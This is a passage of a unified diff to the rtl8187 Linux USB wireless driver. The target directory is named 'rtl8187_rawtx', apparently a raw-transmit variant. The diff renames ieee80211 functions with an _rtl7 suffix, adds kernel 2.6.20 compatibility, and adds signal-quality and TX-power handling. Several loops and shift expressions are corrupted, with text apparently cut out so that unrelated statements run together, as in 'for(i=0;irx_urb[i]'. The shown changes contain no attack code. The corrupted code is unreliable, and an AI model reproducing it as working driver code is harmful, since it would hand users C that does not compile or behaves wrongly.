<< 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1461,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1478,54 @@ } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1534,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1545,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1566,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1593,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1620,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1661,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1708,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1768,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1816,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1825,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1908,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1943,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +1972,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2062,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2128,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2151,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2165,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2209,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2348,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2366,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2386,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2397,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2410,111 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2522,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2541,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2563,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2611,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2628,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2645,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2658,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2673,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-05-26 10:37:51.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - 